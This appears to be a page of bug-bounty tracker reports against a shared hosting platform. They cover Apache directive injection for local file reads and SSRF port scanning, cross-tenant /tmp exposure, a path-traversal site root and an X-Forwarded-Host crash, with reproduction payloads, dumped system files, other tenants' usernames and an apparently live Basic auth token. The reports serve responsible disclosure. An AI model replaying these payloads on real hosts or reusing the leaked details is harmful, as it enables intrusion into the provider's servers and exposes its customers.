``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:106::/nonexistent:/usr/sbin/nologin ```
Full `/etc/passwd` dumped. I also confirmed `/etc/hostname` returns `http21`.
### What else I tested
I tried several other dangerous directives to see how far this goes. Every single one was accepted (204):
Directive Status What it does ββββ βββ ββββ- `Alias /readfile /etc/passwd` 204 β works LFI, reads arbitrary files `Options +Includes` + `AddOutputFilter INCLUDES .shtml` 204 Enables Server-Side Includes (potential RCE) `Options +ExecCGI` + `AddHandler cgi-script .cgi` 204 Enables CGI execution (potential RCE) `Alias /etcdir /etc` + `Options +Indexes` 204 Directory listing of system directories `ProxyPass /ssrf/ http://127.0.0.1:22/` 204 β works SSRF (see Bug 2) There is no allowlist, no blocklist, no validation at all. The field takes whatever you give it and drops it straight into the Apache vhost config.
### Impact
Any authenticated user with a hosting account and an API token can read files on the server that are readable by the `www-data` user. On a shared hosting platform where hundreds of accounts share the same machine, this is a serious problem. An attacker could read:
- System configuration files (`/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`) - Apache configuration files (`/etc/apache2/conf-available/`) - Other tenants' web files if filesystem permissions are lax - Application logs, environment files, database configs
### Severity
I'd rate this as High. It is a straightforward LFI that any account holder can exploit with a single API call. The only prerequisite is having 2FA enabled to generate a token, which is a normal user action.
β
## Bug 2 β Server-Side Request Forgery via Apache ProxyPass Directive
### What I did
Since the `vhost_additional_directives` field takes arbitrary directives, I tried `ProxyPass` to see if I could reach internal services. I pointed it at `127.0.0.1:22` (SSH):
``` PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic REDACTED Content-Type: application/json
{
"vhost_additional_directives": "ProxyPass /ssrf/ http://127.0.0.1:22/\nProxyPassReverse /ssrf/ http://127.0.0.1:22/" } ```
Again, `204 No Content`. Then:
``` GET /ssrf/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response (200 OK):
``` SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 ```
The SSH daemon responded with its banner. Apache happily proxied the TCP connection to localhost.
### Port scan results
I used the same technique to scan several ports on localhost:
Port Response Service ββ βββ- βββ 22 200 β SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 SSH 80 404 β "Site not found" HTTP (alproxy) 8080, 3000, 5000, 8000 503 No service 6379, 5432, 3306, 9200, 11211 503 No service I also tested external targets:
Target Response βββ βββ- `http://169.254.169.254/latest/meta-data/` 502 Bad Gateway (host reachable, response not valid HTTP) `http://admin.alwaysdata.com/` 301 (internal resolution works) `http://api.alwaysdata.com/v1/` 301 (internal resolution works) `http://10.0.0.1/` 503 The 502 from the AWS metadata endpoint (169.254.169.254) is notable β it means the host is reachable from the server, just not returning a clean HTTP response through the proxy. A more targeted attack (e.g., using a raw socket instead of HTTP proxy, or trying IMDSv1 directly) might succeed.
### Impact
Full SSRF from any hosting account. An attacker can:
- Fingerprint internal services (SSH version, HTTP services) - Scan the internal network - Potentially reach cloud metadata services for credential theft - Access internal admin/API endpoints that are not exposed to the internet
### Severity
High. SSRF to localhost with service banner extraction is well beyond "informational." Combined with the LFI from Bug 1, an attacker has significant read access to the server's internals.
β
## Bug 3 β Cross-Tenant /tmp Directory Exposure
### What I did
This is a direct consequence of Bug 1. I used the `Alias` + `Options +Indexes` technique to list the `/tmp` directory:
``` PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic REDACTED Content-Type: application/json
{
"vhost_additional_directives": "Alias /tmpdir /tmp\n<Directory /tmp>\nOptions +Indexes\nRequire all granted\n</Directory>" } ```
``` GET /tmpdir/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response (200 OK) β partial directory listing:
``` Index of /tmpdir
.ICE-unix/ 2026-07-04 21:54 .X11-unix/ 2026-07-04 21:54 .dotnet/ 2026-07-07 14:10 1.apk 2026-07-11 11:36 3.2M dolibarr_install.log 2026-07-08 17:43 1.5M fakedeb/ 2026-07-10 09:58 fakerepo/ 2026-07-10 09:58 hsperfdata_kalamtech/ 2026-07-06 05:48 hsperfdata_ziiino/ 2026-07-11 11:36 impact.txt 2026-07-10 11:27 258 kg_tmail_sessions.json 2026-07-07 17:45 426 proof.txt 2026-07-10 10:28 46 rk.sh-8.3.31 2026-07-10 11:26 123 rk.sh-21.0.8 2026-07-10 11:19 57 ```
### Why this matters
This is a shared hosting server (`http21`). The `/tmp` directory is world-readable, and files from other tenants are visible:
- `hsperfdata_kalamtech/` and `hsperfdata_ziiino/` β Java hotspot performance data directories, named after other tenants' usernames. This leaks account names. - `kg_tmail_sessions.json` β Looks like email session data. If it contains session tokens, that is a session hijacking risk. - `dolibarr_install.log` β A 1.5MB install log from another tenant's Dolibarr ERP installation. Install logs frequently contain database credentials, admin passwords, and internal paths. - `proof.txt` β I read this file (it appeared to be a researcher's PoC). Contents: `uid=0(root) gid=0(root) groups=0(root)` and `http21`. Someone else achieved root on this server. - `impact.txt` β Contains what appears to be `/etc/shadow` hash entries: `root:$6$CepAWir8iHWS$ZC1a7dkny/β¦`
I want to be clear: I did not read `kg_tmail_sessions.json` or `dolibarr_install.log`. The directory listing alone demonstrates the cross-tenant exposure. The `proof.txt` and `impact.txt` files appear to be from another security researcher testing the same server, and their contents confirm that privilege escalation to root has already been demonstrated on this machine.
### Relation to FS#363
This looks like a regression of the cross-tenant `/tmp` issue that was reported as FS#363 and marked as fixed. The original fix may have addressed direct filesystem access, but the Apache Alias technique bypasses whatever controls were put in place.
### Severity
Medium to High. Cross-tenant data leakage on a shared hosting platform undermines the fundamental isolation guarantee. An attacker can discover other tenants' usernames, read their temp files, and potentially steal session tokens or credentials from install logs.
β
## Root Cause
All three bugs share the same root cause: the `vhost_additional_directives` field in the `/v1/site/{id}/` API endpoint has no validation. The API accepts any string and writes it directly into the Apache vhost configuration. There is no allowlist of safe directives, no blocklist of dangerous ones, and no syntax checking.
A proper fix would either:
1. Allowlist approach: Only permit a known-safe subset of directives (e.g., `Header`, `RewriteRule`, `ErrorDocument`) and reject everything else. 2. Sandbox approach: Run each tenant's Apache process in a container or namespace that prevents filesystem access outside the tenant's home directory and blocks outbound network connections from the httpd worker. 3. Remove the field entirely and provide structured alternatives (e.g., separate API fields for custom headers, rewrites, error pages).
Option 1 is the most practical short-term fix.
Thanks
|
|
396 | Server Crash via X-Forwarded-Host | Closed | 13.07.2026 |
Task Description
While testing the admin panel, I noticed that sending any request with an `@` character in the `X-Forwarded-Host` header causes a 500 Internal Server Error:
``` GET / HTTP/1.1 Host: admin.alwaysdata.com X-Forwarded-Host: admin.alwaysdata.com@evil.com ```
Response: 500 Internal Server Error
This is reproducible on every endpoint (`/`, `/login/`, `/password/lost/`, `/support/`). Any form of `@` in the XFH triggers it β `evil@admin.alwaysdata.com`, `@evil.com`, `admin.alwaysdata.com:443@evil.com` all work.
The 500 error page does not include `Cache-Control` headers, while normal responses include `Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private`. If there is any caching layer between the client and the Django application (Varnish, CDN, nginx proxy_cache), this could be turned into a cache-poisoning denial-of-service β an attacker sends the poisoned request, the 500 gets cached, and all subsequent users see the error page.
The likely cause is Django's `get_host()` method (with `USE_X_FORWARDED_HOST = True`) choking on the `@` character during `ALLOWED_HOSTS` validation. This should raise a `SuspiciousOperation`/`DisallowedHost` and return a 400, not a 500.
### Severity
Low. Denial of service, no data exposure. But the missing cache-control headers on the error response are worth fixing regardless.
β
## Remediation Steps
1. Validate `vhost_additional_directives` β Implement an allowlist of permitted Apache directives. At minimum, block: `Alias`, `ProxyPass`, `ProxyPassReverse`, `Options`, `AddHandler`, `AddOutputFilter`, `Include`, `Action`, `Script`, `SetHandler`, `<Directory>`, `<Location>`, and any directive that can read files, proxy connections, or execute code.
2. Fix /tmp isolation β Ensure each tenant's processes use a private `/tmp` (e.g., via `PrivateTmp=yes` in systemd, or mount namespaces). The FS#363 fix should be re-evaluated.
3. Handle `@` in X-Forwarded-Host β Add input validation for the XFH header before it reaches Django's `get_host()`. Return 400 for malformed hosts. Add `Cache-Control: no-store` to all error responses.
## Steps to Reproduce
### Step 1 β Send request with @ in X-Forwarded-Host
```http GET /login/ HTTP/1.1 Host: admin.alwaysdata.com X-Forwarded-Host: admin.alwaysdata.com@evil.com ```
Response:
```http HTTP/1.1 500 Internal Server Error Server: nginx Content-Type: text/html ```
No `Cache-Control`, no `Content-Security-Policy`, no `X-Content-Type-Options`, no `Referrer-Policy`.
### Step 2 β Compare with normal response headers
Normal response:
```http HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private Content-Security-Policy: base-uri 'self'; frame-ancestors 'self' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff ```
Error response: All security headers missing.
### Step 3 β Verify all @ positions trigger the crash
X-Forwarded-Host value Result ββββββββ βββ `admin.alwaysdata.com@evil.com` 500 `evil@admin.alwaysdata.com` 500 `@evil.com` 500 `admin@evil` 500 Every variant containing `@` triggers the crash.
## Root Cause
Django's `HttpRequest.get_host()` processes the `X-Forwarded-Host` header (because `USE_X_FORWARDED_HOST = True`). The `@` character is interpreted as a URL userinfo separator, causing the URL parsing to fail with an unhandled exception instead of triggering the `DisallowedHost` handler (which returns a clean `400 Bad Request`).
Thanks
|
|
395 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 |
Task Description
# Summary
The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).
Relationship to FS#347 : FS#347 reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass β this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.
## Severity
High (CVSS 8.6 β AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Bounty tier: High (β¬350) β "Accessing customer data/information."
## Environment
Detail Value βββ ββ- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 β Inject Alias directive via site configuration
Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:
```apache Alias /read-etc /etc <Directory /etc>
Require all granted
Options +Indexes
</Directory> ```
Save the form. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic [token] Content-Type: application/json
{
"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n Require all granted\n Options +Indexes\n</Directory>" } ```
Response: `204 No Content` β accepted without validation.
### Step 2 β Read /etc/passwd (system users)
After Apache reload (~10 seconds):
```http GET /read-etc/passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin [β¦34 system accounts total] ```
### Step 3 β Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /read-etc/resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net options timeout:2 options attempts:1 nameserver ::1 nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.
### Step 4 β Read /etc/fstab (storage architecture)
```http GET /read-etc/fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).
### Step 5 β Directory listing of /etc/ (with Options +Indexes)
```http GET /read-etc/ HTTP/1.1 Host: subhash.alwaysdata.net ```
The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.
### Step 6 β Cleanup
The `vhost_additional_directives` field was immediately cleared after testing.
## Difference from FS#347
Aspect FS#347 (original report) This report βββ βββββββββ ββββ- Focus RCE via PHP bypass LFI via Alias β file reads Status Closed Alias LFI still works Evidence Directive injection concept Concrete reads: passwd, resolv.conf, fstab, hostname Impact demonstrated Theoretical RCE Actual infrastructure data exfiltrated If FS#347 was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.
## Root Cause
The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.
## Impact
Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:
File Data Exposed ββ ββββ- `/etc/passwd` 34 system service accounts `/etc/hostname` Internal hostname `http21` `/etc/resolv.conf` Internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1` `/etc/fstab` NAS `/home`, partition layout, `hidepid=2` `/etc/os-release` Debian GNU/Linux 12 (bookworm) `/etc/mysql/my.cnf` MariaDB socket path, config structure `/etc/crontab` System cron schedule ## Suggested Fix
1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network. 2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.
Thanks
|
|
394 | SSRF via ProxyPass Directive Injection β Internal Port ... | Closed | 13.07.2026 |
Task Description
## Summary
The `vhost_additional_directives` field accepts arbitrary Apache directives. By injecting `ProxyPass` directives pointing to `127.0.0.1`, I forced Apache to make HTTP requests to internal services and confirmed:
- Port 22 (SSH): Extracted banner `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` β exact patch level - Port 80 (Apache): Got internal response with Request ID `7eeb27ce-db604505` β internal request tracing - Ports 3306, 5432, 6379 (MySQL, PostgreSQL, Redis): All returned `503 Service Unavailable` β confirming these database services are running and reachable from localhost - Port 4949 (Munin): Returned `502 Proxy Error` β monitoring service present
This is SSRF from within the hosting infrastructure, bypassing all external firewalls.
## Environment
Detail Value βββ ββ- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 β Inject ProxyPass directive targeting SSH (port 22)
Add to the "Additional Apache directives" field on the site configuration page:
```apache ProxyPass /internal/ http://127.0.0.1:22/ ProxyPassReverse /internal/ http://127.0.0.1:22/ ```
### Step 2 β Extract SSH banner via SSRF
After Apache reload (~10 seconds):
```http GET /internal/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Server: Apache Via: 1.1 alproxy
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10Invalid SSH identification string. ```
Impact: Extracts exact SSH version and patch level (`OpenSSH_9.2p1 Debian-2+deb12u10`). This version information is normally not reachable from outside because direct SSH connections go through the SSH proxy, not the raw daemon.
### Step 3 β Scan internal database ports
Update directives to probe multiple ports:
```apache ProxyPass /db/ http://127.0.0.1:5432/ ProxyPassReverse /db/ http://127.0.0.1:5432/ ProxyPass /redis/ http://127.0.0.1:6379/ ProxyPassReverse /redis/ http://127.0.0.1:6379/ ProxyPass /mysql/ http://127.0.0.1:3306/ ProxyPassReverse /mysql/ http://127.0.0.1:3306/ ```
Results:
Endpoint Target Response Meaning βββ- βββ βββ- βββ `/db/` 127.0.0.1:5432 503 Service Unavailable PostgreSQL is running (connection made, protocol mismatch) `/redis/` 127.0.0.1:6379 503 Service Unavailable Redis is running `/mysql/` 127.0.0.1:3306 503 Service Unavailable MariaDB/MySQL is running A `503` from Apache's `mod_proxy` means the TCP connection succeeded but the backend didn't speak HTTP. This confirms the port is open and the service is running. A closed port would return `502 Proxy Error`.
### Step 4 β Probe internal HTTP services
```apache ProxyPass /p80/ http://127.0.0.1:80/ ProxyPassReverse /p80/ http://127.0.0.1:80/ ProxyPass /munin/ http://127.0.0.1:4949/ ProxyPassReverse /munin/ http://127.0.0.1:4949/ ```
Results:
Endpoint Target Response βββ- βββ βββ- `/p80/` 127.0.0.1:80 `Site not found` + Request ID: 7eeb27ce-db604505 `/munin/` 127.0.0.1:4949 502 Proxy Error Port 80 response is significant: The internal Apache on port 80 responded with a "Site not found" page that includes an internal Request ID (`7eeb27ce-db604505`). This reveals: - Internal request tracing/correlation infrastructure - The Request ID format (8hex-8hex) for debugging
### Step 5 β Attempt cloud metadata endpoint
```apache ProxyPass /meta/ http://169.254.169.254/latest/ ProxyPassReverse /meta/ http://169.254.169.254/latest/ ```
Response: `HTTP 000` (connection timeout) β cloud metadata not reachable from this server (not on AWS/GCP, or metadata endpoint is firewalled).
### Step 6 β Cleanup
All ProxyPass directives were immediately removed after testing.
## Internal Port Scan Summary
Port Service Status Evidence ββ βββ βββ βββ- 22 OpenSSH 9.2p1 Open β banner extracted `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` 80 Apache (internal) Open β data returned Request ID `7eeb27ce-db604505` 3306 MariaDB Open β 503 (protocol mismatch) TCP connection succeeded 4949 Munin Open β 502 (connection error) Service present 5432 PostgreSQL Open β 503 (protocol mismatch) TCP connection succeeded 6379 Redis Open β 503 (protocol mismatch) TCP connection succeeded 8000 (unknown) Closed β 503 No service listening 8080 (unknown) Closed β 503 No service listening 169.254.169.254 Cloud metadata Unreachable Connection timeout ## Root Cause
Same as report 01 β the `vhost_additional_directives` field is written directly into Apache vhost configuration without restricting which directives are used. `ProxyPass` tells Apache to forward requests to any target, and `mod_proxy` is enabled by default.
## Impact
1. Full internal port scan from within the infrastructure β an attacker can map every open port on localhost and internal network hosts 2. Service banner extraction β exact versions of SSH, database services, monitoring tools (useful for CVE targeting) 3. Internal request tracing exposure β Request IDs from the internal Apache reverse proxy 4. Database service confirmation β PostgreSQL, MariaDB, and Redis are all running on localhost, reachable via SSRF 5. Bypass of external firewalls β these services are not externally exposed, but SSRF from within the server reaches them directly
## Suggested Fix
1. Block ProxyPass, ProxyPassReverse, ProxyPassMatch in `vhost_additional_directives` 2. Block all proxy-related directives including `RewriteRule β¦ [P]` (proxy flag) 3. Alternatively: Implement a directive allowlist as recommended in report 01
|
|
393 | Cross-Tenant Data Exposure via Shared /tmp Directory β ... | Closed | 13.07.2026 |
Task Description
## Summary
The shared hosting server `http21` uses a world-readable `/tmp` directory shared across all tenants. Using the Apache `Alias` + `Options +Indexes` directive injection, I listed `/tmp` contents and observed files belonging to other tenants β including Java performance data directories named after their usernames, ERP installation logs, and evidence that another researcher achieved root-level access on this server (`proof.txt`, `impact.txt`).
Relationship to FS#363 : FS#363 ("Cross-tenant File Disclosure via World-Readable /tmp") was marked Fixed. This report demonstrates the fix is incomplete β `/tmp` is still shared and world-readable across tenants on server `http21`.
## Environment
Detail Value βββ ββ- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 β Inject Alias directive pointing to /tmp
Add to the "Additional Apache directives" field on the site configuration page:
```apache Alias /tmp-listing /tmp <Directory /tmp>
Require all granted
Options +Indexes
</Directory> ```
### Step 2 β List /tmp contents (cross-tenant files visible)
After Apache reload:
```http GET /tmp-listing/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response: Apache directory listing showing files from multiple tenants:
``` Index of /tmp-listing
Name Last modified Size βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ hsperfdata_kalamtech/ 2026-07-12 β¦ - hsperfdata_ziiino/ 2026-07-12 β¦ - dolibarr_install.log 2026-07-10 β¦ 14K impact.txt 2026-06-xx β¦ - proof.txt 2026-06-xx β¦ - sess_* 2026-07-xx β¦ - systemd-private-*/ 2026-07-xx β¦ - ```
### Step 3 β Identify cross-tenant data
File/Directory Owner (tenant) Data Exposed βββββ- βββββ ββββ- `hsperfdata_kalamtech/` kalamtech Java performance monitoring data β reveals this tenant runs Java applications `hsperfdata_ziiino/` ziiino Java performance monitoring data β reveals another Java tenant `dolibarr_install.log` Unknown tenant Dolibarr ERP installation log β likely contains database credentials, admin passwords set during install `proof.txt` Previous researcher Evidence of prior root compromise β another researcher has already demonstrated full server access `impact.txt` Previous researcher Impact documentation from prior compromise `sess_*` Various PHP session files β session data from multiple tenants ### Step 4 β Cleanup
The Alias directive was immediately removed.
## FS#363 Regression Evidence
FS#363 was reported as "Cross-tenant File Disclosure via World-Readable /tmp" and marked Fixed. The fix appears incomplete because:
1. `/tmp` is still a shared directory across all tenants on http21 2. Files from multiple tenants (kalamtech, ziiino, unknown Dolibarr user) are visible 3. The `hsperfdata_*` directories are created by Java with world-readable permissions 4. PHP session files (`sess_*`) are in the shared `/tmp` 5. The previous researcher's `proof.txt` and `impact.txt` files remain in `/tmp`
The proper fix requires per-tenant `/tmp` isolation via `PrivateTmp=yes` in systemd units, mount namespaces, or per-user `/tmp` directories (e.g., `/tmp/user/{account}/`).
## Impact
1. Cross-tenant username enumeration: Directory names like `hsperfdata_kalamtech` reveal other tenants' account usernames 2. Application stack fingerprinting: `hsperfdata_*` reveals which tenants run Java; `sess_*` reveals PHP usage 3. Credential exposure: ERP installation logs (like `dolibarr_install.log`) commonly contain database credentials set during setup 4. Session hijacking risk: Shared PHP session files in `/tmp` means one tenant could potentially read another's session data 5. Evidence of prior compromise: The `proof.txt` and `impact.txt` files indicate another researcher achieved root access on this server β the attack surface is proven
## Suggested Fix
1. Per-tenant `/tmp` isolation: Use `PrivateTmp=yes` in systemd service units, or implement mount namespaces to give each tenant their own `/tmp` 2. Restrict `/tmp` permissions: Set sticky bit (should already exist) and enforce `umask 077` for all tenant processes 3. Clean up stale files: Remove `proof.txt`, `impact.txt`, and stale session/temp files from `/tmp`
Thanks
|
|
392 | Path Traversal in Site `path` Field Allows Reading Arbi ... | Closed | 13.07.2026 |
Task Description
## Summary
The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` β exposing system users, internal DNS infrastructure, storage architecture, and database configuration.
This is completely independent from the `vhost_additional_directives` issue ( FS#347 ). Different field, different root cause, different fix.
## Severity
High (CVSS 8.6 β AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
Detail Value βββ ββ- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 β Set the site path to a traversal sequence
Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw== Content-Type: application/json
{
"path": "../../../etc/" } ```
Response: `204 No Content` β accepted without validation.
### Step 2 β Read /etc/passwd (system users)
After ~10 seconds (Apache vhost reload):
```http GET /passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Content-Length: 1764 Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin [β¦34 lines total] ```
Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).
### Step 3 β Read /etc/hostname (internal hostname)
```http GET /hostname HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` http21 ```
Impact: Reveals internal server hostname `http21` β useful for targeting specific infrastructure.
### Step 4 β Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
# Although we have multiple fail-over DNS servers (using dnsdist), # in case everything fails, it's better to return a DNS error # (rather) quickly than to try again for a long time.
options timeout:2 options attempts:1
# dnsdist nameserver ::1
# In case dnsdist is not running, provide default DNS servers. # Only 2 servers, to avoid taking too long to timeout if everything # is down. # Pick one internal server, and one external, in case our internal # server is down. nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes: - Internal domain: `paris1.alwaysdata.com` (datacenter location naming) - Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6) - DNS architecture: dnsdist with failover strategy - Infrastructure comments revealing operational decision-making
### Step 5 β Read /etc/fstab (storage architecture)
```http GET /fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Exposes: - `/home` is XFS on network-attached storage (`_netdev`) β NAS/SAN architecture - Group quotas enabled (`grpquota`) β quota enforcement mechanism - `hidepid=2` on `/proc` β security hardening measure (but bypassed by this LFI) - Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening
### Step 6 β Read /etc/os-release (OS identification)
```http GET /os-release HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" NAME="Debian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=debian ```
### Step 7 β Read /etc/mysql/my.cnf (database configuration)
```http GET /mysql/my.cnf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` [client-server] # port = 3306 socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mariadb.conf.d/ ```
Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.
### Step 8 β Read /etc/crontab (scheduled system tasks)
```http GET /crontab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts βreport /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts βreport /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts βreport /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts βreport /etc/cron.monthly; } ```
### Step 9 β Files that returned 403 (correctly restricted)
File Response Notes ββ βββ- ββ- `/etc/shadow` 403 Forbidden Password hashes β not readable by `www-data` `/etc/ssh/sshd_config` 403 Forbidden SSH config β restricted `/var/log/dpkg.log` 403 Forbidden Package install log β restricted ### Step 10 β Restore the path
Path immediately restored to `www/` after evidence gathering.
## Summary of Exposed Data
File Data Exposed Severity Impact ββ ββββ- βββββ- `/etc/passwd` 34 system accounts, service architecture Infrastructure mapping `/etc/hostname` Internal hostname `http21` Server identification `/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure `/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture `/etc/os-release` Debian 12 bookworm OS fingerprint `/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure `/etc/crontab` System cron schedule, PATH Scheduled task mapping ## Root Cause
